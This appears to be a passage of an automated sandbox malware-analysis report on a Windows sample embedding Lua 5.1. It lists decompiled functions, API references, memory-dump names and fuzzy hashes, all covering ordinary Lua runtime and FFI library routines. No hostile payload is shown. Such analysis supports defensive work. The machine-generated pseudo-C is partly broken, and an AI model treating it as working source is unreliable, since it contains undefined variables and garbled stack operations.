lua_call.LUA5.1(?,00000002,00000001,?,?,?,?,?,00000002,00000000,?,00000002), ref: 1001439C
lua_toboolean.LUA5.1(?,000000FF,?,00000002,00000001,?,?,?,?,?,00000002,00000000,?,00000002), ref: 100143A4
lua_settop.LUA5.1(?,000000FE,?,000000FF,?,00000002,00000001,?,?,?,?,?,00000002,00000000,?,00000002), ref: 100143AE
lua_lessthan.LUA5.1(?,?,?,?,00000002), ref: 100143C6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.$lua_call.lua_lessthan.lua_settop.lua_toboolean.lua_type.
String ID:
API String ID: 2401761019-0
Opcode ID: 6f3a85a28c72f52ad4c60697e63935109777475e69e9e63b4488931b5e6b07aa
Instruction ID: f37ed43eb66feff067031fa0ff8b63f19d5026bc2296c18d9aacc712a1e8c1f6
Opcode Fuzzy Hash: 6f3a85a28c72f52ad4c60697e63935109777475e69e9e63b4488931b5e6b07aa
Instruction Fuzzy Hash: 75F0967960962076F405D625BC03FEF228DCFC27E0F044614F521A62DADAA4BE4242F6

Uniqueness

Uniqueness Score: -1.00%

Function 10011A80, Relevance: 12.0, APIs: 8, Instructions: 33COMMON

Download Yara Rule

APIs

lua_pushlightuserdata.LUA5.1(?,10017648,?,1001196C,00000000,?,?,?,00000000), ref: 10011A8B
lua_rawget.LUA5.1(?,FFFFD8F0,?,10017648,?,1001196C,00000000,?,?,?,00000000), ref: 10011A96
lua_type.LUA5.1(?,000000FF,?,FFFFD8F0,?,10017648,?,1001196C,00000000,?,?,?,00000000), ref: 10011A9E
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,1001196C,00000000,?,?,?,00000000), ref: 10011AAE
lua_createtable.LUA5.1(?,00000000,00000001,?,000000FE,?,?,?,?,?,?,1001196C,00000000), ref: 10011AB8
lua_pushlightuserdata.LUA5.1(?,10017648,?,00000000,00000001,?,000000FE,?,?,?,?,?,?,1001196C,00000000), ref: 10011AC3
lua_pushvalue.LUA5.1(?,000000FE,?,10017648,?,00000000,00000001,?,000000FE,?,?,?,?,?,?,1001196C), ref: 10011ACB
lua_rawset.LUA5.1(?,FFFFD8F0,?,000000FE,?,10017648,?,00000000,00000001,?,000000FE), ref: 10011AD6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlightuserdata.$lua_createtable.lua_pushvalue.lua_rawget.lua_rawset.lua_settop.lua_type.
String ID:
API String ID: 830569787-0
Opcode ID: c4a833b71fad81a465659c275be94d546d7c7bf6ee61b119b81f57ffaafa61b1
Instruction ID: 9da9c725d365500a5c8fba25e70757e5b7f6bdc413e1489834bdb64db820be75
Opcode Fuzzy Hash: c4a833b71fad81a465659c275be94d546d7c7bf6ee61b119b81f57ffaafa61b1
Instruction Fuzzy Hash: AFE0123998A93231E802F2282C12FCE210ACF031E0F610710F225351EB6F59B6D281EF

Uniqueness

Uniqueness Score: -1.00%

Function 00593A50, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00593A50(void* __ecx, void* __eflags, void* __fp0, char _a4, intOrPtr _a8200) {
				char _v0;
				void* _t9;
				void* _t12;
				void* _t17;
				intOrPtr _t21;
				void* _t24;
				void* _t35;

				_t35 = __fp0;
				E00594BE0(0x2004, __ecx);
				_t21 = _a8200;
				_t9 = E00591250(_t21, "udp{any}", 1);
				_push(0x40c00000);
				_push(0);
				_push(2);
				_push(_t21);
				_t17 = _t9;
				L00594B72();
				L00594BD0();
				_t22 = _t9;
				_t2 = _t17 + 8; // 0x8
				_t24 = _t2;
				if(_t9 >= 0x2000) {
					_t22 = 0x2000;
				}
				E00592DC0(_t35, _t24);
				_push(_t24);
				_t12 = E00594520(_t17,  &_a4, _t22,  &_v0);
				_t23 = _t12;
				if(_t12 == 0) {
					_push(_v0);
					_push( &_a4);
					_push(_t21);
					L00594BC6();
					return 1;
				} else {
					_push(_t21);
					L00594B4E();
					_push(E00593860(_t23));
					_push(_t21);
					L00594AD0();
					return 2;
				}
			}

0x00593a50
0x00593a55
0x00593a5e
0x00593a6d
0x00593a72
0x00593a77
0x00593a79
0x00593a7b
0x00593a7c
0x00593a7e
0x00593a86
0x00593a8b
0x00593a8d
0x00593a8d
0x00593a96
0x00593a98
0x00593a98
0x00593a9e
0x00593aa7
0x00593ab0
0x00593ab5
0x00593abc
0x00593aec
0x00593aed
0x00593aee
0x00593aef
0x00593b06
0x00593abe
0x00593abe
0x00593abf
0x00593aca
0x00593acb
0x00593acc
0x00593ae3
0x00593ae3

APIs

Part of subcall function 00591250: sprintf.MSVCRT ref: 0059127F
Part of subcall function 00591250: luaL_argerror.LUA5.1(?,?,?), ref: 0059128C

luaL_optnumber.LUA5.1(?,00000002,00000000,40C00000,?,udp{any},00000001), ref: 00593A7E
_ftol.MSVCRT ref: 00593A86
lua_pushnil.LUA5.1(?), ref: 00593ABF
lua_pushstring.LUA5.1(?,00000000,00000000,?), ref: 00593ACC
lua_pushlstring.LUA5.1(?,?,?), ref: 00593AEF

Strings

udp{any}, xrefs: 00593A67

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_optnumber._ftollua_pushlstring.lua_pushnil.lua_pushstring.sprintf
String ID: udp{any}
API String ID: 1991399662-1792101638
Opcode ID: 6a16caed532562f6611d75911d266a0fea8eead57d4a0eeb3bd16607db75ee6b
Instruction ID: ea59f9ef9b48738543d06130f064f7b58b37f04aa40e36f8126e6e0b71b2720e
Opcode Fuzzy Hash: 6a16caed532562f6611d75911d266a0fea8eead57d4a0eeb3bd16607db75ee6b
Instruction Fuzzy Hash: 1901087260021637EF207654AC8AFBF7A5DEBC1714F040065FA0866143E60DAD0686FA

Uniqueness

Uniqueness Score: -1.00%

Function 00401180, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401180(void* __ebx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _t20;
				void* _t29;
				signed int _t32;
				signed int _t33;
				signed int _t34;
				signed int _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t38;
				void* _t39;

				_t29 = __ebx;
				_t36 = _a4;
				_t35 = 0;
				if( *_t36 != 0) {
					do {
						_t35 = _t35 + 1;
					} while ( *((intOrPtr*)(_t36 + _t35 * 4)) != 0);
				}
				_t32 = _a8;
				_t20 = _t35 - _t32 - 1;
				_a4 = _t20;
				_push("too many arguments to script");
				_push(_t20 + 3);
				_push(_t29);
				L00401F48();
				_t33 = _t32 + 1;
				_t38 = _t37 + 0xc;
				while(_t33 < _t35) {
					_push( *((intOrPtr*)(_t36 + _t33 * 4)));
					_push(_t29);
					L00401ED0();
					_t33 = _t33 + 1;
					_t38 = _t38 + 8;
				}
				_push(_a8 + 1);
				_push(_a4);
				_push(_t29);
				L00401F42();
				_t39 = _t38 + 0xc;
				_t34 = 0;
				if(_t35 > 0) {
					_a8 =  ~_a8;
					do {
						_push( *((intOrPtr*)(_t36 + _t34 * 4)));
						_push(_t29);
						L00401ED0();
						_push(_a8);
						_push(0xfffffffe);
						_push(_t29);
						L00401F2A();
						_a8 = _a8 + 1;
						_t34 = _t34 + 1;
						_t39 = _t39 + 0x14;
					} while (_t34 < _t35);
				}
				return _a4;
			}

0x00401180
0x00401181
0x00401186
0x0040118c
0x00401190
0x00401190
0x00401193
0x00401190
0x0040119a
0x004011a2
0x004011a5
0x004011a9
0x004011b1
0x004011b2
0x004011b3
0x004011b8
0x004011bb
0x004011c0
0x004011c6
0x004011c7
0x004011c8
0x004011cd
0x004011d0
0x004011d3
0x004011e2
0x004011e3
0x004011e4
0x004011e5
0x004011ea
0x004011ed
0x004011f1
0x004011f9
0x00401200
0x00401204
0x00401205
0x00401206
0x0040120f
0x00401210
0x00401212
0x00401213
0x00401218
0x0040121d
0x00401220
0x00401223
0x00401200
0x0040122e

APIs

luaL_checkstack.LUA5.1(?,-00000004,too many arguments to script), ref: 004011B3
lua_pushstring.LUA5.1(?,00000000), ref: 004011C8
lua_createtable.LUA5.1(?,?,?), ref: 004011E5
lua_pushstring.LUA5.1 ref: 00401206
lua_rawseti.LUA5.1(?,000000FE,?), ref: 00401213

Strings

too many arguments to script, xrefs: 004011A9

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$L_checkstack.lua_createtable.lua_rawseti.
String ID: too many arguments to script
API String ID: 2655701096-3431356383
Opcode ID: d86e069ce187896570404189fd49b1180934dc9683d429a05b637f5348acb865
Instruction ID: b3c63d2026db90fbba0a654190171efed84ab46bd67734b3e42b2b2c93a13a7e
Opcode Fuzzy Hash: d86e069ce187896570404189fd49b1180934dc9683d429a05b637f5348acb865
Instruction Fuzzy Hash: 1011E2F3A003166BC701DE19EC4182F7399FBD4B04F090A2EF859A7281E735D90487A6

Uniqueness

Uniqueness Score: -1.00%

Function 10006300, Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

luaM_realloc_.LUA5.1(100066F7,83FFFFFC,08C48300,00000000,?,?,100066F7,?,00000000), ref: 10006318
luaM_realloc_.LUA5.1(100066F7,8BC308C4,E8515004,00000000,100066F7,83FFFFFC,08C48300,00000000,?,?,100066F7,?,00000000), ref: 1000632B
luaM_realloc_.LUA5.1(100066F7,9AE85150,005BACE8,00000000,100066F7,8BC308C4,E8515004,00000000,100066F7,83FFFFFC,08C48300,00000000,?,?,100066F7,?), ref: 1000633E
luaM_realloc_.LUA5.1(100066F7,50042454,244C8BC3,00000000,100066F7,9AE85150,005BACE8,00000000,100066F7,8BC308C4,E8515004,00000000,100066F7,83FFFFFC,08C48300,00000000), ref: 10006351
luaM_realloc_.LUA5.1(100066F7,FACBE852,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1000636A
luaM_realloc_.LUA5.1(100066F7,C483FFFF,50082444,00000000,100066F7,FACBE852,?,00000000), ref: 1000637D
luaM_realloc_.LUA5.1(100066F7,100066F7,0000004C,00000000,100066F7,C483FFFF,50082444,00000000,100066F7,FACBE852,?,00000000), ref: 10006388

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.
String ID:
API String ID: 3188633865-0
Opcode ID: 67be84d345e7a2a119508ea58c4bf0fe01a75597fd7245af980397e504827614
Instruction ID: 607948920b690979fc6caa6d97f7bd056e3db1fe45c5590825c92f545eafb817
Opcode Fuzzy Hash: 67be84d345e7a2a119508ea58c4bf0fe01a75597fd7245af980397e504827614
Instruction Fuzzy Hash: 1A119A74600B147FF234DA18CC82F37B3B9EBC5B50F50860CF59667685CAA0BD058B65

Uniqueness

Uniqueness Score: -1.00%

Function 005E2C10, Relevance: 10.6, APIs: 7, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E005E2C10(intOrPtr* __eax, intOrPtr _a4) {
				intOrPtr* _t5;
				intOrPtr _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t10;
				void* _t11;
				void* _t12;
				void* _t13;

				_t5 = __eax;
				_t7 = _a4;
				_push(0);
				_push(1);
				_push(_t7);
				L005E3F32();
				_push(__eax);
				_push(2);
				_push(_t7);
				L005E3FB0();
				_push(_t7);
				_t9 = __eax;
				_t8 = 3;
				L005E3F38();
				_t12 = _t11 + 0x1c;
				_t10 = __eax;
				if( *__eax == 6) {
					L8:
					return 0;
				} else {
					goto L1;
				}
				do {
					L1:
					if(_t8 > _t10) {
						L6:
						 *_t9 = 0xc;
						 *((intOrPtr*)(_t9 + 4)) = 0;
						goto L7;
					}
					_push(_t8);
					_push(_t7);
					L005E3F4A();
					_t12 = _t12 + 8;
					if(_t5 == 0) {
						goto L6;
					}
					_push(_t8);
					_push(_t7);
					L005E3F50();
					_t13 = _t12 + 8;
					_push(_t8);
					_push(_t7);
					if(_t5 == 0) {
						 *_t9 = 2;
						L005E3F62();
						_t12 = _t13 + 8;
						 *((intOrPtr*)(_t9 + 4)) = _t5;
					} else {
						 *_t9 = 0xc;
						L005E3F0E();
						_t12 = _t13 + 8;
						 *((intOrPtr*)(_t9 + 4)) = _t5;
					}
					L7:
					_t9 = _t9 + 8;
					_t8 = _t8 + 1;
				} while ( *_t9 != 6);
				goto L8;
			}

0x005e2c10
0x005e2c11
0x005e2c18
0x005e2c1a
0x005e2c1c
0x005e2c1d
0x005e2c22
0x005e2c23
0x005e2c25
0x005e2c26
0x005e2c2b
0x005e2c2c
0x005e2c2e
0x005e2c33
0x005e2c38
0x005e2c3e
0x005e2c40
0x005e2ca5
0x005e2ca8
0x00000000
0x00000000
0x00000000
0x005e2c42
0x005e2c42
0x005e2c44
0x005e2c8a
0x005e2c8a
0x005e2c90
0x00000000
0x005e2c90
0x005e2c46
0x005e2c47
0x005e2c48
0x005e2c4d
0x005e2c52
0x00000000
0x00000000
0x005e2c54
0x005e2c55
0x005e2c56
0x005e2c5b
0x005e2c60
0x005e2c61
0x005e2c62
0x005e2c77
0x005e2c7d
0x005e2c82
0x005e2c85
0x005e2c64
0x005e2c64
0x005e2c6a
0x005e2c6f
0x005e2c72
0x005e2c72
0x005e2c97
0x005e2c97
0x005e2c9a
0x005e2c9d
0x00000000

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 005E2C1D
luaL_checkudata.LUA5.1(?,00000002,00000000,?,00000001,00000000), ref: 005E2C26
lua_gettop.LUA5.1(?,?,00000002,00000000,?,00000001,00000000), ref: 005E2C33
lua_type.LUA5.1(?,00000003), ref: 005E2C48
lua_isuserdata.LUA5.1(?,00000003), ref: 005E2C56
lua_touserdata.LUA5.1(?,00000003), ref: 005E2C6A
lua_tointeger.LUA5.1(?,00000003), ref: 005E2C7D

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.L_checkudata.lua_gettop.lua_isuserdata.lua_tointeger.lua_touserdata.lua_type.
String ID:
API String ID: 1040363586-0
Opcode ID: fbad0e83040b65d089013f90e55d2b006048ea75e16b0e4b636c2e3c6a2f1d3e
Instruction ID: 9d627866cea32bdf1d6e14a6e324249ec3e705ecd0d839f2f4b68d75ea80caf6
Opcode Fuzzy Hash: fbad0e83040b65d089013f90e55d2b006048ea75e16b0e4b636c2e3c6a2f1d3e
Instruction Fuzzy Hash: 960161F2D002827AD7382B67DC4AF1B7EACBB90701F25482CF4CD57142F63999448671

Uniqueness

Uniqueness Score: -1.00%

Function 10011840, Relevance: 10.6, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

luaL_checkinteger.LUA5.1(?,00000002,?,?,?,1001183C,?,00000001), ref: 1001184A

Part of subcall function 1000F5C0: lua_tointeger.LUA5.1(?,?), ref: 1000F5CD
Part of subcall function 1000F5C0: lua_isnumber.LUA5.1(?,?), ref: 1000F5DD

luaL_checktype.LUA5.1(?,00000001,00000006,?,00000002,?,?,?,1001183C,?,00000001), ref: 10011856

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_iscfunction.LUA5.1(?,00000001,?,00000001,00000006,?,00000002,?,?,?,1001183C,?,00000001), ref: 1001185E
lua_getupvalue.LUA5.1(?,00000001,00000000), ref: 1001187C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkinteger.L_checktype.lua_getupvalue.lua_iscfunction.lua_isnumber.lua_tointeger.lua_type.
String ID:
API String ID: 2832730387-0
Opcode ID: 7370a4b0c37464c72484586868249f484b823042024b31bf664142abcaee2b47
Instruction ID: 6ca28852b8361b86fe908b338ac70b43fe91d5b09e2b5f8b6dac2d48744cd4e2
Opcode Fuzzy Hash: 7370a4b0c37464c72484586868249f484b823042024b31bf664142abcaee2b47
Instruction Fuzzy Hash: 80F0626A71521026F610E9B86C82FEF139CCFC27E5F144176FA00D90CBEB62E95511B6

Uniqueness

Uniqueness Score: -1.00%

Function 005921F0, Relevance: 10.6, APIs: 7, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E005921F0(long long __fp0, intOrPtr _a4, long long* _a8) {
				intOrPtr _v4;
				long long _v8;
				long long _t12;
				intOrPtr _t16;
				long long* _t17;
				long long* _t19;
				long long* _t20;
				void* _t21;

				_t17 = _a8;
				_v4 = 0;
				_t12 =  *((intOrPtr*)(_t17 + 0xc));
				_t16 = _a4;
				_v8 = _t12;
				_t19 =  &_v8 - 8;
				asm("fild qword [esp+0x10]");
				 *_t19 = __fp0;
				_push(2);
				_push(_t16);
				L00594B72();
				L00594BD0();
				_v4 = 0;
				_v8 =  *((intOrPtr*)(_t17 + 8));
				_t20 = _t19 + 8;
				asm("fild qword [esp+0x10]");
				 *((intOrPtr*)(_t17 + 0xc)) = _t12;
				 *_t20 = __fp0;
				_push(3);
				_push(_t16);
				L00594B72();
				L00594BD0();
				_push(4);
				_push(_t16);
				 *((intOrPtr*)(_t17 + 8)) = _t12;
				L00594B84();
				_t21 = _t20 + 0x18;
				if(_t12 != 0) {
					E00592DD0(__fp0);
					_v8 = __fp0;
					_push(4);
					_push(_t16);
					L00594B7E();
					asm("fsubr qword [esp+0x10]");
					_t21 = _t21 + 8;
					 *_t17 = __fp0;
				}
				_push(0x3ff00000);
				_push(0);
				_push(_t16);
				L00594B5A();
				return 1;
			}

0x005921f4
0x005921f8
0x00592201
0x00592204
0x00592208
0x0059220c
0x0059220f
0x00592213
0x00592216
0x00592218
0x00592219
0x0059221e
0x00592226
0x0059222e
0x00592232
0x00592235
0x00592239
0x0059223c
0x0059223f
0x00592241
0x00592242
0x00592247
0x0059224c
0x0059224e
0x0059224f
0x00592252
0x00592257
0x0059225c
0x0059225e
0x00592263
0x00592267
0x00592269
0x0059226a
0x0059226f
0x00592273
0x00592276
0x00592276
0x00592278
0x0059227d
0x0059227f
0x00592280
0x00592292

APIs

luaL_optnumber.LUA5.1(?,00000002), ref: 00592219
_ftol.MSVCRT ref: 0059221E
luaL_optnumber.LUA5.1(?,00000003,?,00000002), ref: 00592242
_ftol.MSVCRT ref: 00592247
lua_isnumber.LUA5.1(?,00000004,?,00000003,?,00000002), ref: 00592252
lua_pushnumber.LUA5.1(?,00000000,3FF00000), ref: 00592280

Part of subcall function 00592DD0: GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000000,BFF00000), ref: 00592DD8

lua_tonumber.LUA5.1(?,00000004), ref: 0059226A

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_optnumber.Time_ftol$FileSystemlua_isnumber.lua_pushnumber.lua_tonumber.
String ID:
API String ID: 3892123499-0
Opcode ID: 0d372b1994056ef207353c7d70b42ddf0d938a42e70fdd4686b09f53f15274d8
Instruction ID: d730270fc70c99bb85513b395b90182b72d42b4c013f9ca4566dc1a5e80f57b3
Opcode Fuzzy Hash: 0d372b1994056ef207353c7d70b42ddf0d938a42e70fdd4686b09f53f15274d8
Instruction Fuzzy Hash: 8B015BB0504702A6DB20BF25DC46B1FBBE8BFC4715F04885DF9D452281DB75E81A8BA7

Uniqueness

Uniqueness Score: -1.00%

Function 005E29E0, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E005E29E0(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t7;
				void* _t10;
				intOrPtr _t15;
				intOrPtr* _t16;
				intOrPtr* _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;

				_t18 = _a4;
				_t16 = E005E1110(_t7, 1, _t18, "alien_callback");
				_t22 = _t21 + 4;
				if(_t16 == 0) {
					_push("alien callback expected");
					_push(1);
					_push(_t18);
					L005E3F14();
					_t22 = _t22 + 0xc;
				}
				_t17 =  *_t16;
				_t19 =  *((intOrPtr*)(_t17 + 0x18));
				_push( *((intOrPtr*)(_t19 + 0x3c)));
				_push(0xffffd8f0);
				_push( *((intOrPtr*)(_t19 + 0x38)));
				L005E3FA4();
				_t10 =  *(_t19 + 0x30);
				_t23 = _t22 + 0xc;
				if(_t10 != 0) {
					free(_t10);
					_t23 = _t23 + 4;
				}
				_t20 =  *(_t19 + 0x34);
				if(_t20 != 0) {
					free(_t20);
				}
				_t15 =  *0x5e7108; // 0x0
				 *_t17 = _t15;
				 *0x5e7108 = _t17;
				return 0;
			}

0x005e29e2
0x005e29f6
0x005e29f8
0x005e29fd
0x005e29ff
0x005e2a04
0x005e2a05
0x005e2a06
0x005e2a0b
0x005e2a0b
0x005e2a0e
0x005e2a10
0x005e2a19
0x005e2a1a
0x005e2a1f
0x005e2a20
0x005e2a25
0x005e2a2e
0x005e2a33
0x005e2a36
0x005e2a38
0x005e2a38
0x005e2a3b
0x005e2a40
0x005e2a43
0x005e2a45
0x005e2a48
0x005e2a4e
0x005e2a50
0x005e2a5b

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien callback expected), ref: 005E2A06
luaL_unref.LUA5.1(?,FFFFD8F0,?), ref: 005E2A20
free.MSVCR80(?), ref: 005E2A36
free.MSVCR80(?), ref: 005E2A43

Strings

alien_callback, xrefs: 005E29E7
alien callback expected, xrefs: 005E29FF

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: free$L_argerror.L_unref.lua_getfield.lua_getmetatable.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien callback expected$alien_callback
API String ID: 4256076417-575705870
Opcode ID: 4c73e37263319bfd3e75a7fa3f3edc19b2fe2fd5e120ec46ca946ba8f0073b32
Instruction ID: b6092b76f90a20ce59370636568c96159e15142e8894daa798922d7c593d35eb
Opcode Fuzzy Hash: 4c73e37263319bfd3e75a7fa3f3edc19b2fe2fd5e120ec46ca946ba8f0073b32
Instruction Fuzzy Hash: 4701ADB5A01B915FD728DB12ED81A4BBBA8FF98320B040434EC85A7701E674FD14C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 10012A80, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 10012010: luaL_checkudata.LUA5.1(?,00000001,FILE*,?,?,10011FFB,?), ref: 1001201E
Part of subcall function 10012010: luaL_error.LUA5.1(?,attempt to use a closed file,?,10011FFB,?), ref: 10012033

luaL_checkoption.LUA5.1(?,00000002,cur,100176EC,?), ref: 10012A9C

Part of subcall function 1000F260: luaL_optlstring.LUA5.1(?,?,?,00000000), ref: 1000F279
Part of subcall function 1000F260: lua_pushfstring.LUA5.1(?,invalid option '%s',00000000), ref: 1000F2EA
Part of subcall function 1000F260: luaL_argerror.LUA5.1(?,?,00000000,?,invalid option '%s',00000000), ref: 1000F2F6

luaL_optinteger.LUA5.1(?,00000003,00000000,?,00000002,cur,100176EC,?), ref: 10012AA8

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

fseek.MSVCRT ref: 10012AB7
ftell.MSVCRT ref: 10012AD6
lua_pushinteger.LUA5.1(?,00000000), ref: 10012ADE

Part of subcall function 10012160: _errno.MSVCRT ref: 10012161
Part of subcall function 10012160: lua_pushboolean.LUA5.1(?,00000001), ref: 10012178

Strings

cur, xrefs: 10012A92

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkoption.L_checkudata.L_error.L_optinteger.L_optlstring._errnofseekftelllua_pushboolean.lua_pushfstring.lua_pushinteger.lua_type.
String ID: cur
API String ID: 1627333882-1502818760
Opcode ID: b652bf847bc5db575f428c0aeb08ec88bcebc80a01ac49077eb0f799364eec42
Instruction ID: 60f10a3ae87ca5838adc34638e3dabbd0b0cf87991ddccf0c75e9592bd84801b
Opcode Fuzzy Hash: b652bf847bc5db575f428c0aeb08ec88bcebc80a01ac49077eb0f799364eec42
Instruction Fuzzy Hash: 78F0E9BE70122077F111D7A86C86FAF236CDF89751F100025F704EA182DAB5EAA152B6

Uniqueness

Uniqueness Score: -1.00%

Function 005912D0, Relevance: 10.5, APIs: 7, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E005912D0(void* __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;
				intOrPtr _t7;
				intOrPtr _t8;

				_t8 = _a4;
				_t7 = _a12;
				_push(_t7);
				_push(_t8);
				L00594B06();
				if(__eax != 0) {
					_t5 = _a8;
					_push(_t5);
					_push(_t8);
					L00594AD0();
					_push(0xfffffffe);
					_push(_t8);
					L00594B36();
					_push(0xffffffff);
					_push(_t8);
					L00594AFA();
					_push(0xfffffffd);
					_push(_t8);
					if(_t5 != 0) {
						L00594AB8();
						_push(_t7);
						_push(_t8);
						L00594AE8();
						return _t5;
					} else {
						L00594AB8();
						return 0;
					}
				} else {
					return __eax;
				}
			}

0x005912d1
0x005912d6
0x005912da
0x005912db
0x005912dc
0x005912e6
0x005912eb
0x005912ef
0x005912f0
0x005912f1
0x005912f6
0x005912f8
0x005912f9
0x005912fe
0x00591300
0x00591301
0x0059130b
0x0059130d
0x0059130e
0x0059131d
0x00591322
0x00591323
0x00591324
